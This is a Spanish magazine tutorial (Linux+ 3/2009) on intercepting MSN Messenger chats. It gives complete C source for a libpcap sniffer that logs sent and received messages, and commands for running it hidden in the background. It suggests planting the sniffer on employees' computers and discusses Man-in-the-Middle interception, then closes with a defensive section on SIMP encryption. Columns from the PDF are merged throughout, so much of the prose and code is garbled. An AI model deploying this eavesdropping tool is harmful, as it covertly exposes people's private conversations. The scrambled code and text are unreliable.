1. hacking para linuxeros
Interceptando conversaciones Messenger
Interceptando
conversaciones Messenger
David Puente Castro
Analizar hasta qué punto un protocolo puede considerarse como vulnerable, es
algo que conlleva un gran esfuerzo, pero muy por encima podemos agruparlos
en dos grupos: Los que ofrecen cifrado, y los que no. Aquellos que no lo hacen,
deben de atenerse a las consecuencias.
¿ A quien le puede interesar capturar conversacio- y reestructurar el código hasta tal punto que la idea original
linux@software.com.pl
nes? No encontrar respuesta a esta pregunta resulta para el que fue creado se torne ilegible (a pesar de que siga
francamente complicado. Que sea o no éticamente funcionando igual o mejor que antes).
correcto es un tema tratado ya en demasía y que
depende únicamente de los fines de la persona que lo realiza. ¿Que pretende este artículo?
Capturar conversaciones realizadas a través del software En una primera fase veremos cómo capturar conversaciones
Messenger, aMSN, o todo que trabaje bajo el mismo proto- de Messenger con menos de 200 líneas de código fuente en
colo, puede ser algo interesante. Y aquí no nos referimos a la lenguaje C (no contabilizando comentarios). El método que
acción en si, sino al ambiciado: ¿Cómo hacerlo?. utilizaremos puede ser reutilizado para capturar conversa-
Los programas son criaturas extrañas, la mayoría de ciones de IRC, AIM, Yahoo!, ICQ e incluso para capturar
las veces complejas y algunas veces son obras demasia- direcciones URL en peticiones HTTP.
do personales. Cuando uno deja de ser un simple novato Finalmente estudiaremos cómo este problema de seguri-
y comienza a interesarse en cómo funciona lo que le rodea, dad puede ser evadido con la aplicación de ciertas medidas de
e incluso decide meter su cabeza en el código fuente, no todo cifrado de protocolo gracias al uso SIMP.
es color de rosa.
Y todo ello no es porque el Programador sea una en- Ideas
tidad retorcida cuya única intención sea hacer su código Plantar un sniffer en su propio ordenador para capturar
indescifrable (aunque podría serlo, y más bonito todavía conversaciones puede parecer inútil, no obstante, cuando lo
sería descifrarlo). La razón es que cuando uno consigue una sitúa en los PC's de sus empleados y espera a saber a qué se
base lo suficientemente sólida como para mantenerse por si dedican realmente en horario de trabajo, el asunto se vuelve
misma, el programador no puede evitar la incesante necesi- más interesante. Debo aclarar que espiar a su pareja es más
dad de añadir nuevas funciones, introducir nuevas variables, inmoral todavía.
50 Linux+ 3/2009
2. hacking para linuxeros
Interceptando conversaciones Messenger
La mayor ventaja se obtiene cuando entra
en juego un ataque Man In The Middle, enton-
ces todo cambia, pero la situación se vuelve
ilícita, téngalo en cuenta.
Aplicación de monitorización y análisis de
tráfico de una red que detecta en los paquetes
individuales pratones específicos seleccionados
por el usuario. Pueden ser utilizados ilegalmen-
te para interceptar tráfico y por norma general
suelen ser silenciosos.
Man In The Middle Figura 1. Esquema del ataque Man in the Middle
Un ataque Hombre en el medio, es aquel en que Anteriormente conocido como Ethereal, es Existen algunos otros comandos, pero están
una persona con un dispositivo de comunicación la herramienta más destacada en Linux para el orientados a control y establecimiento de pa-
consigue situarse en una posición intermedia estudio de lo que sucede en las capas más bajas rámetros de conexión. Ha llegado el momento
entre un router y el usuario legítimo de una red, de nuestras conexiones de red. Su principal de que veamos el comando más importante en
de modo que todo el tráfico que circula por la red capacidad es la de capturar todos los paquetes nuestra investigación.
pasa a través del atacante sin el conocimiento di- que entran y salen de nuestra red, y generar una
recto del resto de participantes (ver Figura 1). estructura muy intuitiva con toda la informa- Comando MSG
Con este artículo no se pretende incurrir ción legible que una persona con ciertos co- Veámoslo en directo. Inicie Wireshark con
en ninguna infracción de la ley, tan solo es un nocimientos puede interpretar. Lo mejor que se permisos de administrador root. Una vez se
estudio detallado de la situación a la que nos en- puede decir de él, es que es de código abierto. encuentre delante de la pantalla principal siga
frentamos a diario. El objetivo es conocer hasta Podríamos decir y decimos que el protoco- el menú Capture -> Options. Una vez aquí
qué punto estamos a merced de atacantes con lo Messenger, al igual que por ejemplo IRC y escogeremos como interfaz de red aquella con
malas intenciones y cómo defendernos. FTP tal vez, funciona por medio de comandos. la que obtenemos nuestra conexión normal a in-
Estos son dirigidos a un servidor central que ternet (en mi caso ath0) y en el campo Capture
Requisitos se encarga de hacer las gestiones necesarias Filter escribiremos lo siguiente:
Los requisitos indispensables son los siguientes: según los parámetros indicados. Este servidor
es un intermediario entre emisor y receptor. tcp and src port 1863 or dst port 1863
• LibPcap (version 0.8) (http:// En realidad todo el proceso es un poco más
sourceforge.net/projects/libpcap/), complicado, pero esta idea sirve perfectamente Si hacemos click en el botón Start estaremos
• LibNet (version 1.1 o superior) (http:// a nuestros fines. iniciando una captura de red filtrando única-
libnet.sourceforge.net). Nota: Ahora deténgase a pensar un mo- mente el trafico TCP que entra y sale del puerto
mento. Si nuestra información viaja sin cifrar 1863, que precisamente es el que Messenger
LibPcap es una pequeña maravilla que nos y circula por una máquina que no es de nuestra utiliza para las comunicaciones.
proporciona todas las funciones necesarias para confianza, ¿hasta qué punto está seguro de que Inicie su software aMSN habitual en Linux,
capturar paquetes y controlar la información en sus mensajes no son inspeccionados en busca y comience una conversación. Después de un
ellos contenida. LibNet, es todo lo contrario, su de información peligrosa? breve intercambio de frases puede cerrar la
objetivo es facilitar un API de programación Bien, continuemos. Lo que hemos dicho sesión y detener Wireshark. Veamos qué hemos
orientado a la inyección de paquetes. del servidor central y de la interactuación a obtenido en nuestro ejemplo (Figura 3).
No se entrará en detalles acerca de la im- través de comandos es tan cierto, que puede es- Esto es un inicio de sesión clásico. En el
plementación y argumentos de las funciones de tablecer una comunicación con toda naturalidad marco superior, hacia la derecha, podemos
la librería libpcap, sin embargo, se mostrará el mediante una clásica sesión de telnet. Puede
cometido de cada una de ellas, pues para eso seguir este estudio aquí (http://65.23.158.196/
estamos aquí, para comentar el código. Libnet, nitz/nitz/protocolo_msn.pdf).
por su parte, podría ser evitado pero utilizare- Describamos ahora los comandos básicos,
mos sus estructuras de cabecera para protocolos para posteriormente centrarnos en el que más
debido a que son verdaderamente intuitivas y interesa en nuestra investigación:
facilitan nuestra tarea.
• VER: Establece la versión del protocolo
Análisis del protocolo MSN Messenger.
El método utilizado para crear el código que • USR: Comando de identificación de usuario.
veremos en la siguiente sección se basa en algo • SYN: Obtener la lista de contactos.
tan sencillo como interpretar las capturas de • CHG: Comando de cambio de estado.
uno de los mejores sniffer de redes que dispo- • CAL: Invitar a un contacto a una conversa-
nemos desde nuestro Sistema Operativo Linux: ción.
Wireshark. • BYE: Comando de cierre de sesión. Figura 2. Logo de Wireshark
www.lpmagazine.org 51
3. hacking para linuxeros
Interceptando conversaciones Messenger
Listado 1a. Código fuente
/* Archivos de cabecera y definiciones */ if (pcap_setfilter(sniffmsn, &filtro) == -1) {
fprintf(stderr, "Error aplicando el filtron");
#include <stdio.h> exit(-1);
#include <pcap.h> }
#include <libnet.h> // Iniciamos la captura de paquetes indefinidamente, el
3er parámetro es la
#define MSN_PORT 1863 // función que se encarga de interpretar los paquetes,
// Puerto por defecto para MSN Messenger. siempre tiene tres
#define TCPHDR_LEN 0x20 // parámetros y no tiene valor de retorno.
// Algunas veces podría necesitar cambiar esto rc = pcap_loop(sniffmsn, -1, &read_msn, NULL);
// por "0x14" para que funcione. Ello es debido return 0;
// a que diversas opciones del protocolo TCP }
// pueden cambiar el tamaño de la cabecera de // Función que interpreta los paquetes. Extraemos las
// 20 a 32 bytes . cabeceras TCP e IP y
#define FILTRO_MSN "tcp and src port 1863 or dst port // controlamos el payload (carga o datos) que se pasará
1863" a la siguiente
// Declaraciones de funciones // función diferenciando entre enviados y recibidos
static char * get_ident(char *); para leer los que sean
void print_msg(char *, int, char *, char *); // realmente interesantes.
void handle_msg(char *, char, int); void
void read_msn(u_char *, const struct pcap_pkthdr *, read_msn(u_char *useless, const struct pcap_pkthdr
const u_char *); *pkthdr, const u_char *pkt)
int main(int argc, char *argv[]) {
{ u_char *data;
int rc; int len;
char *device; struct libnet_ipv4_hdr *iph; // Cabecera IP
char errbuf[PCAP_ERRBUF_SIZE]; struct libnet_tcp_hdr *tcph; // Cabecera TCP
struct bpf_program filtro; iph = (struct libnet_ipv4_hdr *)(pkt + LIBNET_ETH_H);
bpf_u_int32 netp, maskp; tcph = (struct libnet_tcp_hdr *)(pkt + LIBNET_ETH_H
pcap_t* sniffmsn; + LIBNET_IPV4_H);
if (argc < 2) // Los datos se alcanzan tras pasar las cabeceras:
exit(0); ethernet, ip y tcp.
device = argv[1]; // Único parámetro: interfaz de data = (u_char *)(pkt + LIBNET_ETH_H + LIBNET_IPV4_H
red. Ex.: eth1, ath0, etc. + TCPHDR_LEN);
// Abrimos el dispositivo para captura en modo len = ntohs(iph->ip_len);
promiscuo // Si el puerto origen es 1863, estamos recibiendo un
sniffmsn = pcap_open_live(device, 1600, 1, 20, mensaje.
errbuf); if (ntohs(tcph->th_sport) == MSN_PORT) {
if (sniffmsn == NULL) { handle_msg(data, 'R', len);
fprintf(stderr, "pcap_open_live(): %sn",errbuf); // Maneja los datos que anteriormente
exit(-1); // destripamos: comando, opciones y mensaje.
} }
if (pcap_lookupnet(device, &netp, &maskp, errbuf) == // Si el puerto destino es 1863, estamos enviando un
-1) { mensaje
fprintf(stderr, "Error en pcap_lookupnet(): %s else if (ntohs(tcph->th_dport) == MSN_PORT) {
n", errbuf); handle_msg(data, 'S', len);
exit(-1); }
} // Función que busca mensajes dentro de la carga útil
// Creamos el filtro con las opciones anteriormente del paquete.
definidas void
if (pcap_compile(sniffmsn, &filtro, FILTRO_MSN, 0, handle_msg(char *data, char dir, int dlen)
netp) == -1) { {
fprintf(stderr, "Error compilando el filtron"); char *pc, *pstart;
exit(-1); char *email;
} char *nick;
// Aplicamos el filtro a la interfaz char *buf;
52 Linux+ 3/2009
4. hacking para linuxeros
Interceptando conversaciones Messenger
Listado 1b. Código fuente
// Creamos un buffer con la longitud del payload }
buf = (char *) calloc(dlen, sizeof(char)); // Trabajar limpiamente
// Copiamos allí su contenido para manejarlo free(buf);
if (buf != NULL) { free(email);
strncpy(buf, data, dlen); free(nick);
} else { }
fprintf(stderr, "nNo hay suficiente memorian"); void
exit(-1); print_msg(char *pc, int dir, char *mail, char *nick)
} {
// Comprobamos que contenga el comando "MSG" char *str, *str_end;
if (strncmp(buf, "MSG", 3) == 0) { int len;
// Que su contenido sea texto plano y no datos de // Parametros válidos para el comando "MSG"
control if (*pc == 'U' || *pc == 'N' || *pc == 'A') {
if (strstr(buf, "Content-Type: text/plain") != str = strchr(pc, ' ');
NULL) { str++;
// Mensajes enviados }
if (dir == 'S') { else {
// Nos situamos en el primer parámetro del comando MSG str = pc;
pc = strchr(buf + 4, ' '); }
pc++; // Justo antes del primer retorno de carro se
// Función que alcanza el mensaje y lo imprime. El encuentra la longitud del
último parámetro // mensaje, lo almacenamos en la variable 'len'.
// es nulo porque no imprimimos el e-mail del emisor, str_end = strchr(str, 'r');
nosotros. *str_end = '0'; // Ya saben, para manejar cadenas
// Deberíamos hacerlo si utilizamos ataques MITM. deben terminar en 0.
print_msg(pc, dir, NULL, NULL); len = atoi(str);
} str = str_end + 2;
// Mensajes recibidos *(str + len) = '0';
else { // Gracias al retorno de carro y nueva linea adicional
// Lo mismo que antes pero esta vez colocamos un que el protocolo
caracter nulo al // MSN nos facilita, el mensaje real siempre se
// final de la dirección e-mail del receptor para poder encontrara después de dos
manejar // retornos de carro y nueva linea consecutivos.
// este fragmento como una cadena. str = strstr(str, "rnrn");
pstart = buf + 4; str += 4;
pc = strchr(pstart, ' '); if (dir == 'S')
if (pc != NULL) else
*pc = 0; printf("nSMS desde (%s) [%s]: %sn", mail, nick,
email = get_ident(pstart); str); // Recibidos
// Esta función, que será descrita al }
// final del código, no es más que un // Administrador de memoria dinámica para almacenar
// pequeño administrador de memoria cadenas.
// dinámica, que reserva el espacio static char *
// suficiente para almacenar e-mail y get_ident(char *ptr)
// sus consecuentes overflows. {
// Mismo procedimiento para almacenar el nick. char *buff;
pc++; size_t bsize = 32; // Tamaño de buffer inicial
pstart = pc; int lenp = strlen(ptr);
pc = strchr(pstart, ' '); // Mientras la longitud de la cadena sea mayor que el
if (pc != NULL) tamaño de buffer,
*pc = 0; // lo vamos multiplicando por 2 hasta que la capacidad
nick = get_ident(pstart); sea suficiente.
pc++; while (lenp > bsize) {
print_msg(pc, dir, email, nick); bsize *= 2;
// Imprimir mensaje }
} buff = (char *) calloc(bsize, sizeof(char));
} // Creamos el buffer con 0's
www.lpmagazine.org 53
5. hacking para linuxeros
Interceptando conversaciones Messenger
Listado 1c. Código fuente
if (buff != NULL) {
strncpy(buff, ptr, bsize
- 1);
// Copiamos la cadena al buffer
return buff;
} else {
fprintf(stderr, "nNo hay
suficiente memorian");
exit(-1);
}
}
ver remarcado un comando USR con ciertos
parámetros de identificación para mi usuario.
Encima verá algunos referentes a la versión.
Todo esto es más o menos común a cada imple-
mentación, pero veamos ahora qué comandos
MSG son relevantes y cuáles no (Figura 4).
Sólo las líneas 23 y 33 son relevantes.
Podemos ver varios comandos MSG, pero no
todos son de interés y no todos contienen men-
sajes. Echemos un vistazo al marco inferior de
nuestro paquete número 23 que hemos selec-
cionado intencionadamente. Al final de todo se
observa el mensaje que hemos enviado (aquí,
hola, mi nombre es David), pero se preguntará
que es toda esa información previa. Una breve
descripción:
Figura 5. Redireccionando los mensajes hacia un archivo de salida
• MSG 58 A 146 rn: – Longitud en bytes de todo lo que vie- • Content-Type: text/plain; charset=UTF-
– Nombre del comando, ne a continuación de este parámetro 8rn:
– Parámetro no importante, hasta el final del mensaje enviado. – El parámetro text/plain indica que
– Debemos saber que solo “A”, “N” • MIME-Version: 1.0rn: el paquete lleva texto legible.Este es
y “U” sirven a nuestros intereses, – Por defecto. uno de los puntos más relevantes,
solo los paquetes que contengan este
campo llevarán mensajes de conver-
sación consigo. Los demás podemos
desecharlos.
– Formato de codificación de caracteres.
• X-MMS-IM-Format: FN=Helvetica; EF=;
CO=000000; CS=0; PF=22rn:
– Fuente de la letra,
Figura 3. Ilustración al comando MSG – Cursiva, Negrita o Subrayado,
– Color del texto,
– Codificación de caracteres,
– ...
• rn:
– Adicional, será de mucha ayuda en la
codificación del programa,
• hola, mi nombre es David:
– ¿Requiere alguna explicación?
User-Agent que identifique el software desde el
que se está realizando la conexión, como ocurre
con los navegadores.
Figura 4. Comprobando la relevación de comandos MSG
54 Linux+ 3/2009
6. hacking para linuxeros
Interceptando conversaciones Messenger
Hasta aquí todo claro, lo que acabamos de en cierta medida su comprensión a la hora de se activa en el ordenador del atacante y no en
ver es el mensaje que nosotros enviamos hacia interpretarlo. Veámoslo: las víctimas).
el destinatario. Entonces las ideas que sacamos No es que sea muy ortodoxo, pero para no
en claro de todo el esquema son las siguientes: • Capturar paquetes con libpcap. complicar más el código que acabamos de ver
• Filtrar los que vayan o provengan del hace un momento, tomaremos de la mano las
• Solo los comandos MSG con parámetros puerto 1863 (msn). facilidades que nos aporta Linux en la línea de
“A”, “N” o “U” son atractivos, • Copiar la carga de datos del paquete a un comandos. Los objetivos son, ocultar el sniffer
• Solo paquetes con la cadena Content-Ty- buffer. visualmente y redireccionar los mensajes hacia
pe: text/plain; contienen mensajes, • Diferenciar entre enviados y recibidos. un archivo de salida que hará las veces de log
• El mensaje siempre se encuentra después • Guardar el e-mail/nick del receptor en caso o archivo de grabación. Esto puede conseguirse
de una secuencia rnrn. necesario. fácilmente con la siguiente instrucción:
• Seleccionar aquellos que contengan el co-
Si ahora miramos el contenido del paquete nú- mando MSG. # nohup ./smsn [dev] > log_msn.log &
mero 33, encontramos la única diferencia: • Seleccionar aquellos que contengan Con-
tent-Type: text/plain. o
• MSG jenni_somo@hotmail.com (#)whi- • Desplazarnos hasta la cadena del mensaje
tengel!! 144rn: e imprimirla (tras “rnrn”). $ sudo nohup ./smsn [dev] > log_
– Nombre del comando, msn.log &
– Dirección de correo del usuario, Aclaraciones
– Nick o frase del usuario, Puede compilar el código fuente (Listado 1) de Con nohup usted desengancha el siguiente co-
– Cantidad de bytes hasta el final del esta forma: mando del shell y así puede cerrarlo sin preocu-
mensaje. parse. El carácter final “&” envía el proceso al
$ gcc smsn.c -lpcap -lnet -o smsn segundo plano. Solo nos queda verlo en acción
Casi sin darnos cuenta acabamos de vislumbrar (Figura 5).
como nuestra privacidad diaria se encuentra Habíamos mencionado al principio del artí-
totalmente comprometida y en manos de cual- culo que un sniffer debe de ser un programa Usted no es como
quiera que tenga la capacidad de aprovecharse silencioso. Y esto debe cumplirse tanto en el los demás (SIMP)
de la situación. hecho de no interferir en el tráfico que cir- Hemos visto que es posible capturar conver-
cula por la red, como en el hecho de que no saciones realizadas por medio del protocolo
Paso a paso sea visible localmente (si estuviésemos tra- MSN. Hemos visto que es posible crear una
Para la realización de nuestro programa segui- bajando bajo un ataque Man in The Middle pequeña utilería como prueba de concepto.
remos una estructura paso a paso que facilitará esto no sería necesario puesto que el sniffer Pero todavía no hemos visto que es posible
defenderse.
SIMP es capaz de proteger el contenido
de nuestras conversaciones mendiante algo-
ritmos de encriptación. El programa trabaja
clasificando las conversaciones según 3 nive-
les de seguridad: No encriptado, encriptado,
y encriptado/autentificado.
SIMP fue principalmente diseñado en for-
ma de una aplicación llamada SimpLite para
entornos Windows, que dispone de cuatro
versiones distintas según nuestro deseo sea
cifrar una de estos servicios de mensajería
instantánea:
• MSN,
• Yahoo!,
• ICQ/AIM,
• Jabber/Google.
Afortunadamente para nosotros, la empresa
SecWay diseñó una versión para Unix, Simp-
Server, que puede correr en los siguientes
sistemas:
• Linux x86 (libstdc++ 5 required),
• MacOS X,
Figura 6. Opciones avanzadas • FreeBSD 5.
www.lpmagazine.org 55
7. hacking para linuxeros
Interceptando conversaciones Messenger
Sobre el autor
David Puente Castro, alias blackngel, es
un gran aficionado a la programación y la
seguridad informática . Original de Ouren-
se (Galicia) y viviendo actualmente en la
provincia de Salamanca dedica la mayor
parte de su tiempo libre a disfrutar de la
experiencia Linux.
Asiduo escritor de artículos básicos
sobre temas de seguridad informática en
el E-Zine electrónico S.E.T. (Saqueadores
Edición Técnica), ampliamente conocido en
el Underground Hispano. Actualmente man-
tiene su segunda página oficial en: http://
set.diazr.com/, cuyo principal objetivo, radi- Figura 7. Página web de LibPcap
ca en ocupar el lugar que en su momento
cubrió la web de Hackemate como reposito- • Descomprimir en /usr/local: do es el pequeño administrador de memoria
rio de material sobre temas de hacking. $ cp simpserver-2.1.5c-linux- get_ident(...). Con él podemos aprender
Su primer encuentro con Linux data ya x86.tgz /usr/local prácticas de programación bastante más ade-
de hace unos 8 años y fue poco más ade- $ tar -xvzf simpserver-2.1.5c- cuadas en la actualidad. Debemos evitar caer en
lante que descubrió el fantástico mundo linux-x86.tgz las tentaciones del
de la programación y la subcultura hacker. • Ejecutar el servicio (Listado 2). Programación en Linux: Casos Prácticos
Participa activamente en wargames como: (http://www.anayamultimedia.es), podría ser
yoire.com, warzone (elhacker.net) y otros. SimpServer trabaja como un proxy, utilizan- una buena lectura si pretendes que tu visión
Aunque trabaja con ordenadores, la do SOCKS 4 para tal fin. Por ello debemos ante la programación cambie de forma nota-
mayor parte de sus tareas diarias no tie- configurar nuestro cliente de mensajería para ble.
nen una relación directa con esta temática. utilizarlo. Por desgracia aMSN solo soporta Espero que esto haya sido lo suficiente-
Auxiliar administrativo, obligado a utilizar el SOCKS 5, pero los usuarios de Linux siempre mente interesante como para llegar hasta el
sistema operativo Windows, tiene la cos- tenemos una solución para todo y en este caso final. La idea que subyace a todo este asunto
tumbre de llevarse su última Distribución el cliente Pidgin nos viene de perlas. Dando por radica en que debemos ser precavidos con
Live a la oficina para seguir disfrutando supuesto que sabe como instalarlo en su sistema todo aquello en lo que confiamos.
de su SO favorito, Linux, y desarrollar sus ($ sudo apt-get isntall pidgin), veamos En todas las actividades es saludable,
pequeños proyectos. como configurarlo (Figura 6): de vez en cuando, poner un signo de interro-
Dedica el artículo a su pareja y familia gación sobre aquellas cosas que por mucho
por la paciencia que demuestran cuando • Cuentas->Gestionar Cuentas->Modificar tiempo se han dado como seguras. [Bertrand
intenta explicarles á haciendo. ->Avanzadas, Russell].
Por lo demás, puede encontrarlo online, • Tipo de proxy: SOCKS 4, Hasta la próxima, y feliz hacking.
prácticamente las 24 horas del día, en • Servidor: localhost,
las siguientes direcciones: blackngel1@ • Puerto: 11863.
gmail.com y black@set-ezine.org
Hasta aquí tiene configurado SimpServer to-
En la red
Es muy importante notar que la comunicación talmente en su sistema y disponible para ser
es cifrada punto a punto, y la persona con la utilizado con Pidgin. Cualquier futura comu- • LibPcap:
que deseemos establecer una comunicación nicación que implique a dos usuarios con este http://sourceforge.net/
también debe tener instalada esta misma he- software funcionando (SimpServer), producirá projects/libpcap/
rramienta, de otro modo los mensajes seguirían un mensaje informando acerca de un intercam- • LibNet:
viajando en texto claro. bio de claves. Claves que han sido generadas http://libnet.sourceforge.net
SimpServer es un servicio que aprendere- tanto de forma automática como de forma ma- • Protocolo MSN:
mos a instalar y configurar a continuación (lo nual en anteriores versiones. http://65.23.158.196/nitz/nitz/
haremos bajo un sistema Ubuntu Linux): Tiene deberes, compruebe ahora con Wire- protocolo_msn.pdf
shark en que formato fluyen los datos cuando • Programación en Linux: Casos Prácti-
• Descargar el programa desde esta direc- atraviesan la red. Ya puede sentirse un poco cos – ISBN: 978-84-415-1839-1:
ción: http://download.secway.com/public/ más seguro. http://www.anayamultimedia.es
products/simpserver/simpserver-2.1.5c- • SimpServer para Unix:
linux-x86.tgz Conclusión http://www.secway.fr/us/products/
• Instalar librería dependiente: $ sudo apt- Aunque no lo parezca, una de las partes más simpserver/
get install libstdc++5 interesantes del código que hemos desarrolla-
56 Linux+ 3/2009